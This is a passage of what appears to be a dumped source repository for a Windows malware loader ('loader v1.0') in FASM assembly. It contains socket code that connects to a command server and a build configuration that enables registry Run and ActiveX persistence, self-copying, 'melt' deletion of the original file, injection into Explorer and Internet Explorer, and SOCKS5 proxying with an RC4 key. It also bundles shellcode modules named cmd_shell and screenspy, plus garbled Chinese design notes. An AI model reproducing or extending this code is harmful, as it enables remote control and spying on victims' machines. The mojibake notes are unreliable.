edx\n    .if ([seconds] <> 0xffffffff)\n        push dword [seconds]\n        pop dword [tv.tv_sec]\n        push dword [microsecond]\n        pop dword [tv.tv_usec]\n        lea edx, [tv]\n    .endif\n    \n    lea eax, [fds]\n    invoke esi.select, 0, eax, 0, 0, edx\n    \n    ret\nendp\n\n; recv data from server\nproc recv_data stdcall uses esi ebx, global_data: dword, s: dword, buf: dword, size: dword\n    mov esi, [global_data]\n    \n    mov ebx, [size]\n    \n    .while [size] > 0\n        invoke esi.recv, [s], [buf], [size], 0\n        cmp eax, 0\n        jle .error_exit\n        \n        add [buf], eax\n        sub [size], eax\n    .endw\n    \n    mov eax, ebx\n    \n.ret:\n    ret\n\n.error_exit:\n    mov eax, SOCKET_ERROR\n    jmp .ret    \nendp\n\n; send data to server\nproc send_data stdcall uses esi ebx, global_data: dword, s: dword, buf: dword, size: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    mov ebx, [size]\n    \n    .while [size] > 0\n        invoke esi.send, [s], [buf], [size], 0\n        cmp eax, 0\n        jle .error_exit\n        \n        add [buf], eax\n        sub [size], eax\n    .endw\n    \n    mov eax, ebx\n    \n.ret:    \n    ret\n    \n.error_exit:\n    mov eax, SOCKET_ERROR\n    jmp .ret\nendp\n\n; connect to server direct\nproc connect_server stdcall uses edi ebx, server: dword, port: dword\n    locals\n        addr_in sockaddr_in ?\n        opt     _DWORD  ?\n    endl\n    \n    assume esi: global_data_t\n    \n    invoke esi.socket, AF_INET, SOCK_STREAM, 0\n       \n    cmp eax, SOCKET_ERROR\n    je .ret\n    \n    mov ebx, eax\n    \n    mov [addr_in.sin_family], AF_INET\n    invoke esi.htons, dword [port]\n    mov [addr_in.sin_port], ax\n    invoke esi.inet_addr, [server]\n    mov [addr_in.sin_addr], eax\n    \n    .if eax = INADDR_NONE\n        invoke esi.gethostbyname, [server]\n        \n        test eax, eax\n        jz .close_and_ret_error\n        \n        assume eax: hostent\n        \n        mov eax, [eax.h_addr_list]\n        mov eax, [eax]\n        push dword [eax]\n        pop dword [addr_in.sin_addr]\n    .endif\n    \n    lea eax, [addr_in]\n    invoke esi.connect, ebx, eax, sizeof.sockaddr_in\n    \n    cmp eax, SOCKET_ERROR\n    je .close_and_ret_error\n\n    lea edi, [opt]\n            \n    mov [opt], MAX_BUFFER_SIZE\n    invoke esi.setsockopt, ebx, SOL_SOCKET, SO_RCVBUF, edi, sizeof._DWORD\n    \n    mov [opt], RECV_TIMEOUT\n    invoke esi.setsockopt, ebx, SOL_SOCKET, SO_RCVTIMEO, edi, sizeof._DWORD\n    \n    mov [opt], SEND_TIMEOUT\n    invoke esi.setsockopt, ebx, SOL_SOCKET, SO_SNDTIMEO, edi, sizeof._DWORD\n    \n    mov eax, ebx\n    \n.ret:\n    ret\n    \n.close_and_ret_error:\n    invoke esi.closesocket, ebx\n    mov eax, SOCKET_ERROR\n    jmp .ret\nendp\n\n; ======================================================================================================================\nthread_main_size = $ - thread_main\n\nconfig_data:"
  },
  {
    "path": "loader v1.0/loader_test.asm",
    "content": "include 'win32ax.inc'\ninclude 'include/global.inc'\n\n.code\nstart:\n\tcall main\n\tinvoke ExitProcess, 0\n\t\nmain:\n\tfile 'loader_main/loader_main.bin'\n\tCONFIG_BEGIN mutex_name\n\t\tdb 'test2222'\n\tCONFIG_END mutex_name\n\t\n\tCONFIG_BEGIN persistence\n\t\tdb true\n\tCONFIG_END persistence\n\n\tCONFIG_BEGIN melt\n\t\tdb true\n\tCONFIG_END melt\n\n\tCONFIG_BEGIN copy_method\n\t\tdb COPY_METHOD_TO_WINDOWS\n\tCONFIG_END copy_method\n\n\tCONFIG_BEGIN copy_to\n\t\tdu 'hello.exe'\n\tCONFIG_END copy_to\n\n\tCONFIG_BEGIN startup_hklm\n\t\tdb true\n\tCONFIG_END startup_hklm\n\n\tCONFIG_BEGIN nklm_name\n\t\tdu ''\n\tCONFIG_END nklm_name\n\n\tCONFIG_BEGIN startup_acitvex\n\t\tdb true\n\tCONFIG_END startup_acitvex\n\n\tCONFIG_BEGIN activex_name\n\t\tdu ''\n\tCONFIG_END activex_name\n\n\tCONFIG_BEGIN inject_to_ie\n\t\tdb true\n\tCONFIG_END inject_to_ie\n\n\tCONFIG_BEGIN inject_to_custom\n\t\tdb false\n\tCONFIG_END inject_to_custom\n\n\tCONFIG_BEGIN custom_process_name\n\t\tdu 'notepad.exe'\n\tCONFIG_END custom_process_name\n\n\tCONFIG_BEGIN group\n\t\tdu 'Է'\n\tCONFIG_END group\n\n\tCONFIG_BEGIN id\n\t\tdu 'id'\n\tCONFIG_END id\n\n\tCONFIG_BEGIN dns_list\n\t\tdb '127.0.0.1',0\n\t\tdw 8080\n\tCONFIG_END dns_list\n\n\tCONFIG_BEGIN socks5\n\t\tdb false\n\tCONFIG_END socks5\n\n\tCONFIG_BEGIN socks5_dns\n\t\tdb '127.0.0.1'\n\tCONFIG_END socks5_dns\n\n\tCONFIG_BEGIN socks5_port\n\t\tdw 8080\n\tCONFIG_END socks5_port\n\n\tCONFIG_BEGIN socks5_user\n\t\tdb 'admin'\n\tCONFIG_END socks5_user\n\n\tCONFIG_BEGIN socks5_pass\n\t\tdb 'admin'\n\tCONFIG_END socks5_pass\n\n\tCONFIG_BEGIN rc4_key\n\t\tdb 'killeven'\n\tCONFIG_END rc4_key\n\n\tdw 0\n\n\tfile 'extra_function/connect_by_socks5.bin'\n\n\tfile 'loader_function/Release/inject_to_explorer.bin'\n\n\tfile 'extra_function/add_startup_hklm_x86.bin'\n\tfile 'extra_function/add_startup_activex_x86.bin'\n\tfile 'extra_function/copy_self_x86.bin'\n\tfile 'extra_function/find_process_by_name_x86.bin'\n\n\tfile 'loader_function/Release/inject_to_explorer_code_x86.bin'\n\n\tfile 'extra_function/get_kernel32_base_x64.bin'\n\tfile 'extra_function/get_ntdll_base_x64.bin'\n\tfile 'extra_function/get_proc_from_hash_x64.bin'\n\n\tfile 'loader_function/x64/Release/add_startup_hklm_x64.bin'\n\tfile 'loader_function/x64/Release/add_startup_activex_x64.bin'\n\tfile 'loader_function/x64/Release/copy_self_x64.bin'\n\tfile 'loader_function/x64/Release/find_process_by_name_x64.bin'\n\tfile 'loader_function/x64/Release/inject_to_explorer_code_x64.bin'\n\n\tfile 'extra_function/inject_to_explorer_code_x64_init.bin'\n\n\tdw 0\n\t\n.end start"
  },
  {
    "path": "loader v1.0/shellcodes/shellcodes.asm",
    "content": "format MS COFF\n\n;include 'global.inc'\n\nmacro export_function [function] {\n    forward\n        public get_#function#_ptr\n        public get_#function#_size\n        \n        function:\n        \tfile `function#'.bin'\n        function#_size = $ - function\n\n        get_#function#_ptr:\n            lea eax, [function]\n            ret\n            \n        get_#function#_size:\n            mov eax, function#_size\n            ret\n}\n\nsection '.text' readable executable\n\nexport_function main, cmd_shell, information, process, screenspy, thumbnail"
  },
  {
    "path": "loader v1.0/文档.txt",
    "content": "Loaderֹ\n\tӷʽ\n\t\tֱ(LoaderĹ)\n\t\tSOCKS5(ѡ)\n\n\t(ѡ)\n\t\tHKLM/Run(ѡ)\n\t\tActiveX(ѡ)\n\n\t(ѡ)\n\t\tSystemĿ¼\n\t\tWindowsĿ¼\n\t\tǷɾԭļ\n\n\tע(ѡܣҪWOW64ش) (Ҫ32λ64λ)(ʹעʱֻҪ32λ룬loader_mainֱִ)\n\t\tػ(ѡ)\n\t\tע뵽ض(Ĵν̣ÿ7ļPIע뵽ExplorerȻע뵽Ŀ̻Ĭע)\n\t\tĬע뵽Ĭ(ѡ)\n\t\t\n\tWOW64\n\t\twow64_call\n\t\twow64_inject_memroy\n\t\twow64_create_remote_thread\n\t\nLoader -> ע뵽Explorer(x86, x64) -> ע뵽ض(x86)\n\nעڴ沼(\n\tinject_to_explorer\t\n\t\twow64_inject_memroy\n\t\twow64_create_remote_thread\n\t\twow64_call(vsд)\n\t\t\n\t\tinject_to_explorer_code_x86(loaderɾԭļע뵽Ĭض)(vsд)\n\t\tinject_to_explorer_code_x64(loaderɾԭļע뵽Ĭض)(vsд)\n\t\t\n\t\tget_proc_from_hash_x64\n\t\tget_kernel32_base_x64\n\t\tget_ntdll_base_x64\n\t\t\nΪ˸Эx86x64 code\nеĶ⺯int64\n\nṹ\n\tentry(޸api,޸,configṹУעĻֱӿļthread)\n\tinject_to_explorer(ע뵽explorerеĴ룬ļעsocket_mainĿ̣IE̲ע룬ػ)\n\t\twow64_call\n\t\twow64_inject_memroy\n\t\twow64_create_remote_thread\n\t\tget_kernel32_base_x64\n\t\tget_ntdll_base_x64\n\t\tget_proc_from_hash_x64\n\t\t\n\tthread_main(ע뵽Ŀ̵Ĵ룬ӷ˵)\n\nļ\n\tinclude(ͨx86 and x64)\n\textra_function(ĺ)\n\tloader_main(shellcode)\n\t\nx64 api޸\n\tṹ\n\tvcдx64 code\n\tдfix\n\t"
  }
]